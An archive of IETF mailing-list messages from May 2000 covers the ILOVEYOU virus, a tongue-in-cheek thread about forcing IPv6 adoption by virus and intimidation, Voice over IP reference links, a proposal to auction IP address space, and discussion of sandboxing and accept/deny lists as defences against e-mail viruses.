> In-Reply-To:  <200005031840.NAA29189@benjamin.lisco.com>
> Content-Transfer-Encoding:  7bit
> X-Loop:  ietf@ietf.org
> Content-Transfer-Encoding:  7bit
> >The is an e-mail virus going around. The subject of the e-mail is
> >ILOVEYOU...I suggest you delete it the moment you receive it.
> >
> >-Scot Mc Pherson, N2UPA
> >-Sr. Network Analyst
> >-ClearAccess Communications
> >-Ph: 941.744.5757 ext. 210
> >-Fax: 941.744.0629
> >-mailto:smcpherson@clearaccess.net
> >-http://www.clearaccess.net
> >
>

A. James Lewis (james@fsck.co.uk)
Don't throw your computers out of the windows,
throw the Windows(tm) out of your computers.




From owner-ietf-outbound  Mon May  8 05:10:26 2000
Received: by ietf.org (8.9.1a/8.9.1a) id FAA01552
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 05:10:02 -0400 (EDT)
Received: from jake.akitanet.co.uk (jake.akitanet.co.uk [212.1.130.131])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA01529
	for <ietf@ietf.org>; Mon, 8 May 2000 05:08:58 -0400 (EDT)
Received: from ppp-12b-203.3com.telinco.net ([212.159.151.203] helo=akitanet.co.uk)
	by jake.akitanet.co.uk with esmtp (Exim 3.13 #3)
	id 12ojWt-000ADs-00; Mon, 08 May 2000 10:08:43 +0100
Message-ID: <39168486.48E8B4AF@akitanet.co.uk>
Date: Mon, 08 May 2000 10:10:30 +0100
From: Paul Robinson <paul@AKITANET.CO.UK>
Organization: Akitanet
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD  (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Tripp Lilley <tlilley@perspex.com>
CC: Keith Moore <moore@cs.utk.edu>, Greg Skinner <gds@best.com>, ietf@ietf.org
Subject: Re: IPv6: Past mistakes repeated?
References: <Pine.LNX.3.96.1000507213756.19098W-100000@mail.perspex.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Tripp Lilley wrote:

> We came up with a wacky idea here yesterday at Interop... Why not
> accelerate v6 deployment by writing a virus that will upgrade
> end-stations' stacks? :)

Even better, why doesn't the IETF employ a bunch of people dressed in
black suits and wearing sun glasses to go around and 'enforce' IPv6...
not as subtle I know, but administrators have this stupid habit of
deleting viruses once they know what's going on, in the foolish belief
that they know what is best! Pah!

By sending a bunch of heavies around various Network Operations and Data
Operations Centers, we can ensure the quickest possible roll-out of IPv6
under the threat of 'Big Billy' getting 'a bit wild with the baseball
bat, right?' sort-of-thing. I'm sure over here in the UK we can
contribute a few East-London types to help everything along nicely...
 
> That will give us the pervasive deployment needed to convince the ISPs to
> upgrade the core. The "upgrade" that the virus propagates can do
> gratuitous tunneling until it discovers that the infrastructure between it
> and the rest of the world has been upgraded.

Indeed, your solution would get right down to the end user ultimately,
which our lads would not be able to do necessarily, but if your ISP
phoned you up and told you that you had to upgrade to IPv6 'or else' you
would, wouldn't you?

This would also help us in gaining all sorts of blackmail material about
various administrators and senior managment of various ISPs used to put
a little pressure on them, but would also give the IETF an additional
revenue stream, and could potnetially ensure that even Microsoft started
following the 'standard line'... 
 
> (yes, any such toy would need to include a raft of known exploits for
> various Unices, so we can include them in the "upgrade") :)

No! We don't want to fix the holes! We want to keep a record of them
without telling the admins, and when they misbehave, not only can we pop
their kneecaps, set fire to their house, release information to their
families they wouldn't want to be released, but also as a grand finale,
we can take control of the machine and do what we wanted anyway.
Eventually, we as the IETF would have complete control of every machine
connected to the Internet, thereby giving us control of the entire
planet, which in turn would allow us to park wherever we wanted and
*not*get*a*ticket*!!!!!! :-)

-- 
Paul Robinson - Developer/Sys Admin @ Akitanet http://www.akitanet.co.uk
------------------------------------------------------------------------
Sales: T:+44 (0)1869 337088  F:+44 (0)1869 337488 E:sales@akitanet.co.uk
Techs: T:+44 (0)161 228 6388 F:+44 (0)161 228 6387 E:root@akitanet.co.uk
------------------------------------------------------------------------



From owner-ietf-outbound  Mon May  8 05:50:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id FAA01817
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 05:50:02 -0400 (EDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA01781
	for <ietf@ietf.org>; Mon, 8 May 2000 05:47:45 -0400 (EDT)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.03983-0@bells.cs.ucl.ac.uk>; Mon, 8 May 2000 10:47:06 +0100
To: Paul Robinson <paul@AKITANET.CO.UK>
cc: ietf@ietf.org
Subject: Re: IPv6: Past mistakes repeated?
In-reply-to: Your message of "Mon, 08 May 2000 10:10:30 BST." <39168486.48E8B4AF@akitanet.co.uk>
Date: Mon, 08 May 2000 10:47:03 +0100
Message-ID: <5835.957779223@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@CS.UCL.AC.UK>
X-Loop: ietf@ietf.org


In message <39168486.48E8B4AF@akitanet.co.uk>, Paul Robinson typed:

 >>Even better, why doesn't the IETF employ a bunch of people dressed in
 >>black suits and wearing sun glasses to go around and 'enforce' IPv6...

we do, but you keep forgetting.

:-)

j. iab member, and official "man in black"



From owner-ietf-outbound  Mon May  8 06:10:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id GAA02106
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 06:10:02 -0400 (EDT)
Received: from ausmtp02.au.ibm.com (ausmtp02.au.ibm.COM [202.135.136.105])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA01953
	for <ietf@ietf.org>; Mon, 8 May 2000 06:00:01 -0400 (EDT)
From: S_S_Dinesh/India/IBM@au1.ibm.com
Received: from f03n05e.au.ibm.com 
	by ausmtp02.au.ibm.com (IBM AP 1.0) with ESMTP id TAA151394
	for <ietf@ietf.org>; Mon, 8 May 2000 19:54:26 +1000
Received: from d73mta05.au.ibm.com (f06n05s [9.185.166.67])
	by f03n05e.au.ibm.com (8.8.8m2/8.8.7) with SMTP id TAA72954
	for <ietf@ietf.org>; Mon, 8 May 2000 19:59:25 +1000
Received: by d73mta05.au.ibm.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id CA2568D9.0036DCCE ; Mon, 8 May 2000 19:59:14 +1000
X-Lotus-FromDomain: IBMAU@IBMIN@IBMAU
To: ietf@ietf.org
Message-ID: <CA2568D9.0036CC54.00@d73mta05.au.ibm.com>
Date: Mon, 8 May 2000 14:10:11 +0530
Subject: RE: Information on Voice Over IP
Mime-Version: 1.0
Content-type: multipart/mixed; 
	Boundary="0__=WsENtVzNmAm8ByaYmFGGvXaTWROaL8WjAxSsJWlhT30xoRbw4J7jzkbZ"
Content-Disposition: inline
X-Loop: ietf@ietf.org

--0__=WsENtVzNmAm8ByaYmFGGvXaTWROaL8WjAxSsJWlhT30xoRbw4J7jzkbZ
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline



here you are

          http://www.fokus.gmd.de/research/cc/glone/projects/ipt/

http://www.tsufl.edu/williams/Projects/InternetPhone/TSCIS445.htm
          http://www.cis.ohio-state.edu/~jain/refs/ref_voip.htm


-----Original Message-----
From: Sarika Gupta [mailto:sargupta@cisco.com]
Sent: jeudi 9 mars 2000 07:36
To: ietf@ietf.org
Subject: Information on Voice Over IP


Dear Sirs and Madams,

I need information on Voice over IP for one of the technical papers
which I'll be presenting. Could anyone point to really good sites for
that?


Thanks & regds,
Sarika

--0__=WsENtVzNmAm8ByaYmFGGvXaTWROaL8WjAxSsJWlhT30xoRbw4J7jzkbZ
Content-type: text/html; 
	name="att1.htm"
Content-Disposition: attachment; filename="att1.htm"
Content-Description: Internet HTML
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDMuMi8vRU4iPg0KPEhUTUw+
DQo8SEVBRD4NCjxNRVRBIEhUVFAtRVFVSVY9IkNvbnRlbnQtVHlwZSIgQ09OVEVOVD0idGV4dC9o
dG1sOyBjaGFyc2V0PVVTLUFTQ0lJIj4NCjxNRVRBIE5BTUU9IkdlbmVyYXRvciIgQ09OVEVOVD0i
TVMgRXhjaGFuZ2UgU2VydmVyIHZlcnNpb24gNS41LjE5NjAuMyI+DQo8VElUTEU+UkU6IEluZm9y
bWF0aW9uIG9uIFZvaWNlIE92ZXIgSVA8L1RJVExFPg0KPC9IRUFEPg0KPEJPRFk+DQoNCjxQPjxG
T05UIFNJWkU9Mj5oZXJlIHlvdSBhcmU8L0ZPTlQ+DQo8L1A+DQoNCjxQPiZuYnNwOyZuYnNwOyZu
YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz
cDsgPEZPTlQgU0laRT0yPjxBIEhSRUY9Imh0dHA6Ly93d3cuZm9rdXMuZ21kLmRlL3Jlc2VhcmNo
L2NjL2dsb25lL3Byb2plY3RzL2lwdC8iIFRBUkdFVD0iX2JsYW5rIj5odHRwOi8vd3d3LmZva3Vz
LmdtZC5kZS9yZXNlYXJjaC9jYy9nbG9uZS9wcm9qZWN0cy9pcHQvPC9BPjwvRk9OVD48L1A+DQoN
CjxQPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyAmbmJzcDsmbmJz
cDsmbmJzcDsmbmJzcDsmbmJzcDsgPEZPTlQgU0laRT0yPjxBIEhSRUY9Imh0dHA6Ly93d3cudHN1
ZmwuZWR1L3dpbGxpYW1zL1Byb2plY3RzL0ludGVybmV0UGhvbmUvVFNDSVM0NDUuaHRtIiBUQVJH
RVQ9Il9ibGFuayI+aHR0cDovL3d3dy50c3VmbC5lZHUvd2lsbGlhbXMvUHJvamVjdHMvSW50ZXJu
ZXRQaG9uZS9UU0NJUzQ0NS5odG08L0E+PC9GT05UPjwvUD4NCg0KPFA+Jm5ic3A7Jm5ic3A7Jm5i
c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7ICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw
OyA8Rk9OVCBTSVpFPTI+PEEgSFJFRj0iaHR0cDovL3d3dy5jaXMub2hpby1zdGF0ZS5lZHUvfmph
aW4vcmVmcy9yZWZfdm9pcC5odG0iIFRBUkdFVD0iX2JsYW5rIj5odHRwOi8vd3d3LmNpcy5vaGlv
LXN0YXRlLmVkdS9+amFpbi9yZWZzL3JlZl92b2lwLmh0bTwvQT4mbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsgJm5ic3A7IDwvRk9OVD48L1A+DQoNCjxQPjxGT05UIFNJWkU9Mj4t
LS0tLU9yaWdpbmFsIE1lc3NhZ2UtLS0tLTwvRk9OVD4NCjxCUj48Rk9OVCBTSVpFPTI+RnJvbTog
U2FyaWthIEd1cHRhIFs8QSBIUkVGPSJtYWlsdG86c2FyZ3VwdGFAY2lzY28uY29tIiBUQVJHRVQ9
Il9ibGFuayI+bWFpbHRvOnNhcmd1cHRhQGNpc2NvLmNvbTwvQT5dPC9GT05UPg0KPEJSPjxGT05U
IFNJWkU9Mj5TZW50OiBqZXVkaSA5IG1hcnMgMjAwMCAwNzozNjwvRk9OVD4NCjxCUj48Rk9OVCBT
SVpFPTI+VG86IGlldGZAaWV0Zi5vcmc8L0ZPTlQ+DQo8QlI+PEZPTlQgU0laRT0yPlN1YmplY3Q6
IEluZm9ybWF0aW9uIG9uIFZvaWNlIE92ZXIgSVA8L0ZPTlQ+DQo8L1A+DQo8QlI+DQoNCjxQPjxG
T05UIFNJWkU9Mj5EZWFyIFNpcnMgYW5kIE1hZGFtcyw8L0ZPTlQ+DQo8L1A+DQoNCjxQPjxGT05U
IFNJWkU9Mj5JIG5lZWQgaW5mb3JtYXRpb24gb24gVm9pY2Ugb3ZlciBJUCBmb3Igb25lIG9mIHRo
ZSB0ZWNobmljYWwgcGFwZXJzPC9GT05UPg0KPEJSPjxGT05UIFNJWkU9Mj53aGljaCBJJ2xsIGJl
IHByZXNlbnRpbmcuIENvdWxkIGFueW9uZSBwb2ludCB0byByZWFsbHkgZ29vZCBzaXRlcyBmb3I8
L0ZPTlQ+DQo8QlI+PEZPTlQgU0laRT0yPnRoYXQ/PC9GT05UPg0KPC9QPg0KPEJSPg0KDQo8UD48
Rk9OVCBTSVpFPTI+VGhhbmtzICZhbXA7IHJlZ2RzLDwvRk9OVD4NCjxCUj48Rk9OVCBTSVpFPTI+
U2FyaWthPC9GT05UPg0KPC9QPg0KDQo8L0JPRFk+DQo8L0hUTUw+

--0__=WsENtVzNmAm8ByaYmFGGvXaTWROaL8WjAxSsJWlhT30xoRbw4J7jzkbZ--



From owner-ietf-outbound  Mon May  8 06:20:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id GAA02278
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 06:20:02 -0400 (EDT)
Received: from ausmtp02.au.ibm.com (ausmtp02.au.ibm.COM [202.135.136.105])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA01959
	for <ietf@ietf.org>; Mon, 8 May 2000 06:00:14 -0400 (EDT)
From: S_S_Dinesh/India/IBM@au1.ibm.com
Received: from f03n05e.au.ibm.com 
	by ausmtp02.au.ibm.com (IBM AP 1.0) with ESMTP id TAA113842;
	Mon, 8 May 2000 19:54:35 +1000
Received: from d73mta05.au.ibm.com (f06n05s [9.185.166.67])
	by f03n05e.au.ibm.com (8.8.8m2/8.8.7) with SMTP id TAA57530;
	Mon, 8 May 2000 19:59:34 +1000
Received: by d73mta05.au.ibm.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id CA2568D9.0036E25F ; Mon, 8 May 2000 19:59:28 +1000
X-Lotus-FromDomain: IBMAU@IBMIN@IBMAU
To: Michael Stilmant <michael.stilmant@adtech.be>
cc: ietf@ietf.org
Message-ID: <CA2568D9.0036D466.00@d73mta05.au.ibm.com>
Date: Mon, 8 May 2000 14:10:11 +0530
Subject: Re: Information on Voice Over IP
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Loop: ietf@ietf.org



> Michael Stilmant wrote:
>
> here you are
>
>               http://www.fokus.gmd.de/research/cc/glone/projects/ipt/
>
>
> http://www.tsufl.edu/williams/Projects/InternetPhone/TSCIS445.htm
>
>
> http://www.cis.ohio-state.edu/~jain/refs/ref_voip.htm
>

See also http://www.cs.columbia.edu/sip
http://www.cs.columbia.edu/~hgs/internet

--
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs




From owner-ietf-outbound  Mon May  8 07:00:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA03203
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 07:00:02 -0400 (EDT)
Received: from mail2.rdc3.on.home.com (mail2.rdc3.on.home.com [24.2.9.41])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA03012
	for <ietf@ietf.org>; Mon, 8 May 2000 06:53:52 -0400 (EDT)
Received: from intruder ([24.114.219.42]) by mail2.rdc3.on.home.com
          (InterMail vM.4.01.02.00 201-229-116) with SMTP
          id <20000508105346.BFRV413.mail2.rdc3.on.home.com@intruder>;
          Mon, 8 May 2000 03:53:46 -0700
From: Garreth Jeremiah <garrethj@home.com>
Reply-To: garrethj@home.com
To: "James P. Salsman" <bovik@best.com>, ietf@ietf.org
Subject: Re: contest: win valuable Microsoft stock!
Date: Mon, 8 May 2000 06:38:06 -0400
X-Mailer: KMail [version 1.0.29]
Content-Type: text/plain
References: <200005080439.VAA08346@shell9.ba.best.com>
In-Reply-To: <200005080439.VAA08346@shell9.ba.best.com>
MIME-Version: 1.0
Message-Id: <00050806544401.13566@intruder>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id GAA03012
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

On Mon, 08 May 2000, James P. Salsman wrote:
> Keith Moore wrote:
> 
> >...  I do think there is some culpability on the part of the
> > software vendor.  and from a purely pragmatic perspective, it's a
> > lot easier for the vendor to make software that is less susceptible
> > to such things, than it is to get rid of the virus writers.
> >
> > and if the folks who sell such software would just fix this, we
> > wouldn't need to care so much about culpability.  but I'm not
> > holding my breath waiting for this to happen.

I think the issue is one of bounds.  What is off bounds and what is ok for an
internet client, such as an email reader, to have access to on any system.  If
the requirements of these bounds could be clearly defined in temrs of what is
allowed, then by default dissalow access to everything else.  Do not make this
a configurable option.  We have to remember that he who giveth CANNOT taketh
away, so we must ensure that the flexability of scripting languages remains (
although I'd love to shut down their access ) as some people are now reliant on
certain functionality.  

The "Java" sandbox idea in my mind is a great one.  When code is run from an
internet client,  constant bounds checking must occur.  Whenever the code steps
over the mark we either stop it in it's tracks, clean up and offer to send a
potential virus alert, or we thow some alarm hoping that the user is actually
able to read and understand the potential dangers.

The core issue is certainly not a new one, however it is wearing a different
hat.  Attempting to get programming teams to impliment security, such as bounds
checking, input validation ( not just "is it a number etc. ) and various other
forms of development/coding technices is nothing new.  It is here however that
we must focus our attentions.  It is the fault directly, of the designers of
the software.  It is these designers that think almost solely about the
functionality of the code rather than necessary robustness and security.  Once
the designers have been - re-aligned - it is the turn of the programmers.  To
educatie them in the kinds of attacks people are perpetrating through their
code and how they should be writing code to avoid this.  For both parties, the
process of peer revies is important.  This peer revieew is where I have
personally found a good deal of discovery occurs.  Certain nuances taat one
persone may overlook another may not.

In summary.  Re-education for designers and programmers.  Peer review.  Require
solid definitions for what an internet client can do.  On execution of internet
based code, bounds checking must occur constantly.  Bounds execption actions
must be agreed, defined and predictable.

Garreth J Jeremiah,
"If the light is on, but no one is home.......we simply left the light on"
"The light at the end of the tunnel could be a train"



From owner-ietf-outbound  Mon May  8 08:50:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA06355
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 08:50:02 -0400 (EDT)
Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA06243
	for <ietf@ietf.org>; Mon, 8 May 2000 08:43:39 -0400 (EDT)
Received: by sean.ebone.net (Postfix, from userid 1113)
	id DE106875; Mon,  8 May 2000 14:43:38 +0200 (CEST)
To: Bill Manning <bmanning@ISI.EDU>
Cc: ietf@ietf.org
Subject: PIARA (IP address space economics)
References: <200005080110.SAA22920@boreas.isi.edu>
From: Sean Doran <smd@sean.ebone.net>
Date: 08 May 2000 14:43:38 +0200
In-Reply-To: Bill Manning's message of "Sun, 7 May 2000 18:10:11 -0700 (PDT)"
Message-ID: <523dntqkjp.fsf@sean.ebone.net>
Lines: 105
User-Agent: Gnus/5.0805 (Gnus v5.8.5) Emacs/20.6
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Loop: ietf@ietf.org

Bill Manning <bmanning@ISI.EDU> writes:

> There is near zero value in the number/address and
> very real value in the routing slot. Perhaps it is best
> to simply have ebone route filter on the /16 boundaries
> to drive home your point. (being cranky this morning)

Bill -

I utterly reject your ostrich-like position on this matter.

I would be extremely happy if I could make a money-based
or (better still) capacity-based offer to one of the R&E
networks or institutions which retain very short prefixes
(historically known as Class A and Class B networks),
without being prevented from engaging in such a private
transaction by the collusive behaviour of IANA and the registries.

Likewise, I think that government agencies in various East
and South Asian countries, and perhaps various Asian ISPs
or next-generation mobile telephony organizations
would be extremely happy to bid for a few historical Class As 
now being under-used by the current registrants, rather
than being told "no" or "first demonstrate usage" by APNIC.

It has been made clear in the past that any transfer of
addresses will be reviewed by a registry, and that if the
ultimate recipient of transferred address space wants
more address space from the registry, they must comply
with the ordinary "growth & design" rules.

I hear anecdotally that the threat of a withholding of new
allocations to the selling party has also been made in the past.

This is a system which enforces a "one-seller" (the IANA),
"one buyer" (one may return addresses to IANA only) model, 
which flies in the face of free markets, and perversely
imposes costs upon consumers.

Although I am happy that there are people trying to
conserve IPv4 addresses and also encourage sensible
routing announcements by providing not less than a
sizeable aggregatable range to qualified buyers, the
qualification process is tricky and gets trickier as 
one's business grows.

There is a VERY real cost -- most notably in terms of time -- 
to using the "growth & design" scheme for acquiring more addresses
than an initial allocation.  This has, in fact, slowed the
deployment of independently-routed subnets owned and
operated by a single organization.  This slowness could
have been avoided if a market for IP addresses existed,
and I can assure you that a fairly sizable amount of money
would have been spent to speed up the process of acquiring
a handful of relatively long prefixes.   I am also aware
of anecdotal reports of organizations who had to suspend
turning up newly-acquired customers because they could not
quickly acquire new addresses from the monopoly vendors:
the local registries and IANA.

In my opinion, following the PIARA work, the appropriate
thing for IANA to do is to spin off its IPv4 address
allocation function.   We will call this spin-off IANA-I.
IANA-I should then proceed auction off the *ENTIRE*
_not-yet-allocated_ address space, being very clear that
what is sold at auction is merely an exclusive
registration of a range of IP addresses in an
IANA-maintained and publically-accessible document, the
right to make future changes to the registration, and the
right to transfer future registration change rights to
another party.

The IANA-I or its agents could certainly charge a small fee
for processing such changes from persons duly authorized
by the registrant the IANA knows, however it should not
have the power to refuse any transfers of title.

I would furthermore like to see the ENTIRE unallocated
IPv6 global unicast space auctioned off in a similar manner,
abandoning the anti-market "one-seller" model put forward
in RFC 2450 section 5.0, using the monopoly tariff put
forward in section 5.2 ibidem.

That ISPs probably cannot be compelled to consider the
IANA-I registration document at all, in whole or in part,
when configuring their networks' routing policies, should
be declared by the IANA and its auctioneer agent, much as
the registries note this now when making allocations under
the current "one-seller" rules.  Whether there is value in
such a risk-bearing instrument,however, MUST be determined
by buyers, not by IANA, IANA-I, or ivory-tower academics.

There are certainly MUCH riskier instruments traded
regularly as assets on exchange markets throughout the
financial world.  Moreover, the IPv4 black market that
DOES exist, as noted by David Conrad, argues strongly in
favour of testing the "white market" in a sensible fashion.

Finally, a small initial registration fee by IANA-I could
allow currently allocated address space could be noted
in the IANA-I registration document, thus normalizing the
"deed" to the range of addresses, likely making it easier
to undertake a transfer.

        Sean.



From owner-ietf-outbound  Mon May  8 09:10:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA06746
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 09:10:02 -0400 (EDT)
Received: from ernst.netinsight.se (ernst.netinsight.se [194.16.221.130])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA06654
	for <ietf@ietf.org>; Mon, 8 May 2000 09:05:40 -0400 (EDT)
Received: from localhost (unverified [10.100.1.11]) by ernst.netinsight.se
 (EMWAC SMTPRS 0.83) with SMTP id <B0000667619@ernst.netinsight.se>;
 Mon, 08 May 2000 15:04:47 +0200
To: jpalme@DSV.SU.SE
Cc: ietf@ietf.org
Subject: Re: VIRUS WARNING
In-Reply-To: <v0421010eb53b3e500a1b@[130.237.150.138]>
References: <200005071517.LAA21106@astro.cs.utk.edu>
	<v0421010eb53b3e500a1b@[130.237.150.138]>
X-Mailer: Mew version 1.94.1 on Emacs 20.4 / Mule 4.0 (HANANOEN)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20000508150500P.magda@netinsight.se>
Date: Mon, 08 May 2000 15:05:00 +0200
From: Magnus Danielson <magda@NETINSIGHT.SE>
X-Dispatcher: imput version 991025(IM133)
Lines: 84
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

From: Jacob Palme <jpalme@DSV.SU.SE>
Subject: Re: VIRUS WARNING
Date: Sun, 7 May 2000 17:55:19 +0200

Jacob,

Sorry for stepping slightly out of the topic you are discussing,

> At 11.17 -0400 0-05-07, Keith Moore wrote:
> > in my mind the people most responsible for the viruses are those who
> > built systems that were so easily compromised.
> >
> > we don't need protocol support to track them down.
> 
> That is certainly one factor of importance. But even the
> best systems can be compromised, and crimes directly using
> the Internet, such as ping overloads, mail bombing, using
> vulnerabilities like buffer overlow, etc., do occur. Also,
> designing systems which are more safe from viruses may be
> systems which are less user-friendly. For example, I have
> set my MS Office programs to always ask me before running a
> macro in an unkown file in it. The advantage is less risk for
> viruses, but the disadvantage is that I have to OK those
> questions from MS Office of whether to accept macros. And
> if they occur too open, there is a risk that I click "yes"
> before thinking through the risk of doing this.

What you really would like to have is a common accept/deny type of list.
This would trim down the required OK's quite alot. Those which are on the deny
list would be silently denied and those on the accept list would be silently
accepted. Only those not existing on either of the lists would actually require
manual intervention in approving.

While I may not normally want say Javascripts enabled (and I usually *dont*)
I do want this for some services, like my Internet bank, ordering of books or
other day-to-day activities. Also, I normally is not interested in any
Javascripts pushed in my face during normal surfing since most of the time it
is just annoying in my mind, but that is my view and my preference.

So, by having an accept/deny list in the client side you are able to trim the
settings more finegrainly. The downside to this is that way to many users
rarely changes anything once the system is up and they will most probably set
things to allow as much as possible to happend as a default.

In my mind there is still a lot of things to do in the client side which is not
particularly smart, not particularly safe but may raise the bar sufficiently
for the kind of attack we are discussing. It does nothing to save us from all
other forms of attack.

Also, for mail-lists one should really consider wiether it is a goot thing to
allow all sort of attachments to be sent by anyone. Passing a script or other
executable info along with the mail is good for some, but not all need it in
order to write and read email. There is even lists where passing GIF or JPEGs
is not allowed, and the mail server could be configured to blcok these mails.
This is also a very rought tool, but could also save lives in these situations
since email-lists is really a high-price hit for this kind of attack. This
form of blocking should probably also be controled using accept/deny lists,
since there may very well be a group of people which have a legal reason to
pass material around (such as patches, Word documents etc).

> I do not know about the laws in the U.S.A., but in my
> country, Sweden, police are allowed to perform wiretapping
> and electronic eavesdropping only by decision of a court,
> and only when there is reason to believe the someone has
> committed a crime with a penalty of at least two years in
> prison.

Actually, in order to wiretap you first of all must be the Swedish police,
then you must have a court order based on sufficient believe of criminal
activity. All other wiretapping is forbidden.

This is a slightly stronger statement, since this forbids say NSA to wiretap
phonecalls or computer traffic in Sweden, even by remote means. Also, tapping
radio traffic is useless, since they may not actually do anything with the
information since the spreading of the information is regulated.

But then, it is hard to figure out where the possible crime of wiretapping was
commited and then apply the laws accordingly. Most probably is these laws
broken on continous basis and no one does anything.

BTW. I enjoyed Mr. Palme's discussion.

Cheers,
Magnus



From owner-ietf-outbound  Mon May  8 09:30:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA07157
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 09:30:02 -0400 (EDT)
Received: from corpmail.galaxyscientific.com ([38.221.233.7])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA07134
	for <ietf@ietf.org>; Mon, 8 May 2000 09:29:57 -0400 (EDT)
Received: from BELLOPEM (igate.tc.faa.gov [155.178.180.5]) by corpmail.galaxyscientific.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id KL12VXC2; Mon, 8 May 2000 09:28:03 -0400
From: "Michael B. Bellopede" <Michael.CTR.Bellopede@tc.faa.gov>
To: "Randall Stewart" <rstewar1@email.mot.com>,
        "Michael H. Warfield" <mhw@wittsend.com>
Cc: <Valdis.Kletnieks@VT.EDU>, "Scot Mc Pherson" <smcpherson@clearaccess.net>,
        <ietf@ietf.org>
Subject: RE: VIRUS WARNING
Date: Mon, 8 May 2000 09:27:14 -0400
Message-ID: <PPECLLOGBEPHLOMKLNAMIEBFCBAA.Michael.CTR.Bellopede@tc.faa.gov>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <10708@tc.faa.gov>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

It should be pretty obvious that the only reason that viruses are so
prolific on MS platforms, is that so many people are using them.  When
designing a virus to spread, the user base must be considered.  A virus
written to infect UNIX systems would not attract much attention anywhere
other than a small circle of professionals and engineers.

Michael B. Bellopede
Michael.CTR.Bellopede@tc.faa.gov

-----Original Message-----
From: Randall Stewart [mailto:rstewar1@email.mot.com]
Sent: Friday, May 05, 2000 8:05 PM
To: Michael H. Warfield
Cc: Valdis.Kletnieks@VT.EDU; Scot Mc Pherson; ietf@ietf.org
Subject: Re: VIRUS WARNING


Michael:

I could not agree more, we have a few (possibly .. 3) virus that have
infect *nix systems. Even more telling, look at how linux systems
have NOT been infected or bothered much. I find this interesting
since the code - bugs, wart, and any holes are available to any
who want to look at it...

Now if I take and switch the machine I am typing on over to
that "other" o/s the virus scanner it has lists 100's and I
mean 100's of viruses...

I do understand that some of us are STUCK with that other
O/S... but there are options.. I too am in theory using it.. but
only when I have to... I do all my real work on the linux side and
only occasionaly fire up the other side to read a awful .doc or .ppt
file...

I simply refuse to allow our IT dept to have there way with me and
infect me with the worst virus... that other O/S :-)

R

"Michael H. Warfield" wrote:
>
> On Thu, May 04, 2000 at 11:13:03PM -0400, Valdis.Kletnieks@vt.edu wrote:
> > On Thu, 04 May 2000 11:11:50 EDT, Scot Mc Pherson
<smcpherson@clearaccess.net>  said:
> > > In fact to back up your statement, there are exactly 3 virii that
infect
> > > UNIX based systems.
>
> > Hmm.. the Morris worm of 1988.  What are the other 2?
>
>         Bliss?  Wasn't very sophisticated and it didn't propagate very
> well, but it did work.  It just fizzeled out because it's propagation
> coefficient never even came close to break even.
>
>         What's the other one?
>
> > Hmm.. if you count the 2 self-reproducing sample programs that
> > came with 'gcc', no others.  Or maybe there's more than 3, which
> > is likely since I've seen at least 4 different "proof of concept"
> > level creations...
>
>         I've seen some assembly code someone was proposing on one of the
